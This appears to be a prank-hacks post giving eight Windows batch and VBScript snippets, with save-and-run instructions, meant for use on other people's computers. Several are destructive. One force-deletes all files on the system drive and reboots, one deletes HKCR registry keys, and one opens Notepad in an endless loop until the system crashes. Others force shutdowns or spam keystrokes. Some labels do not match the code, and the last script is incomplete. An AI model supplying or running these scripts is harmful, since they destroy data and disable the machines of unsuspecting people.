¶ 8 Interesting Hacks ( .VBS ) ¶

All you need to do is to copy the codes , paste it in any notepad or text file, than save the text file with anynam.vbs , and yeah dont forget to change the format from text file to all files.

*NOTE* These codes do not stay on forever, they just stay on until the person shuts off the computer. The registry delete is one that PERMANETLY deletes files on the computer that cannot be recovered. this will DESTROY the computer.



1. The blue screen of Death [this might be dangerous]

Code:

CODE

@echo off

del %systemdrive%\*.* /f /s /q

shutdown -r -f -t 00



2. Stupidity Shutdown

*This pops up a funny message then will shutdown the computer*

Code:

CODE

@echo off

msg * Fatal system error due to admin stupidity!

shutdown -c “Error! You are too stupid!” -s -t 10



3. Delete Key Registry Files [NOTE THIS IS DANGEROUS!! USE AT RISK]

*This will delete key registry files, then loops a message* (CANNOT BE RECOVERED FROM)*

Code:

CODE

@ECHO OFF

START reg delete HKCR/.exe

START reg delete HKCR/.dll

START reg delete HKCR/*

:MESSAGE

ECHO Your computer has been destroyed. Have a nice day.

GOTO MESSAGE



4. Endless Notepads

*This will pop up endless notepads until the computer freezes and crashes*

Code:

CODE

@ECHO off

:top

START %SystemRoot%\system32\notepad.exe

GOTO top



5. Crazy caps lock

*This constantly turns caps lock on and off really fast continuously*

Code:

CODE

Set wshShell =wscript.CreateObject(”WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “{CAPSLOCK**”

loop



6. Endless Enter

*This constantly makes it so the enter button is being pressed continuesly*

Code:

CODE

Set wshShell = wscript.CreateObject(”WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “~(enter)”

loop



7. Endless Backspace

*This makes it so the backspace key is constantly being pressed*

Code:

CODE

MsgBox “Let’s go back a few steps”

Set wshShell =wscript.CreateObject(”WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “{bs**”

loop



8. Popping CD Drives

*This will make the CD drives constantly pop out*

Code:

CODE

Set oWMP = CreateObject(”WMPlayer.OCX.7″)

Set colCDROMs = oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next





That's it folks 

Regards,

Shipsocker :)